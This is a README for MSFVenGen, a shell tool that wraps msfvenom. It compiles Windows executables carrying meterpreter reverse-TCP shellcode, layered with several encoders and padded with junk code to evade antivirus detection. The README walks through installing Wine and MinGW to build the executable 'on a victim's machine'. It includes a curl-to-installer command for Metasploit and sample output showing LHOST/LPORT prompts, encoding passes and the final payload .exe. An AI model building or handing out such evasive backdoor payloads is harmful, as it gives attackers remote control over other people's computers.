MSFVenGen - Custom MSFVenom Executable Generator
Requirements
- Linux
- Wine + MinGW
- Metasploit Framework
Installing
Install Wine
Wine allows windows applications to be run on several platforms such as Linux, Mac OS X and more.
To install Wine just run this command:
sudo apt-get install wine
Install MinGW
MinGW is a collection of windows development tools including compilers such as GCC and G++. Using both MiniGW and Wine it is possible to compile windows code thus creating a portable executable (pe) which can be later run on a victim's machine.
- Go to SourceForge to download the installer.
- In a terminal use
wine /path/to/file/mingw-get-setup.exe - Select "Run with GUI" option
Note that you must have the GUI up in order to get the installer to run properly. You can run it in a terminal however it draws a GUI box for installation.
- When the window appears, make sure to select mingw32-base. This is required to continue and make things work properly. Select Installation and click Update Catalogue.
- You want to get the right DLLs to be able to compile properly. You can find them here: Go Jhonny!
- Unzip them into your Windows directory in wine. Its location should be
/home/USERNAME/.wine/drive_c/windows
Great! Now you can use gcc.exe!
Syntax:
cd /home/USERNAME/.wine/drive_c/MinGW/bin
wine gcc.exe -o file.exe sourcefile.c
Metasploit Framework
The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Its best-known sub-project is the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.
The Metasploit Project is well known for its anti-forensic and evasion tools, some of which are built into the Metasploit Framework.
To install Metasploit Framework just run this command:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
Usage
./msfvengen.sh
Example output
MSFVenGen - Custom MSFVenom Executable Generator
LHOST?
> 192.168.0.102
LPORT?
> 4444
We will be using the windows/meterpreter/reverse_X payloads. Which would you like to use?
> windows/meterpreter/reverse_tcp
How many cycles we encode our shellcode? (1-20)
> 1
Number of random seed to add some junk to the resulting C code source file (1-10000):
> 1
Attempting to clean the ShellCode directory out...
Attempting to generate shell-code...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none succeeded with size 333 (iteration=0)
generic/none chosen with final size 333
Payload size: 333 bytes
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 389 (iteration=0)
x86/jmp_call_additive chosen with final size 389
Payload size: 389 bytes
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 416 (iteration=0)
x86/call4_dword_xor chosen with final size 416
Payload size: 416 bytes
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 443 (iteration=0)
x86/shikata_ga_nai chosen with final size 443
Payload size: 443 bytes
Final size of c file: 1886 bytes
Saved as: /home/lonalore/msfvengen/ShellCode/test.c
Shellcode generated.
Cleaning it up...
Creating Headers...
Creating the first bit of fluff
Creating the execution bit...
Creating the last bit of fluff...
Merging the last of it together...
tcp-4444-826.exe SHA-1 Checksum is .. 088a3b485993622d450b534cead0ff5aa1701524 tcp-4444-826.exe
Done!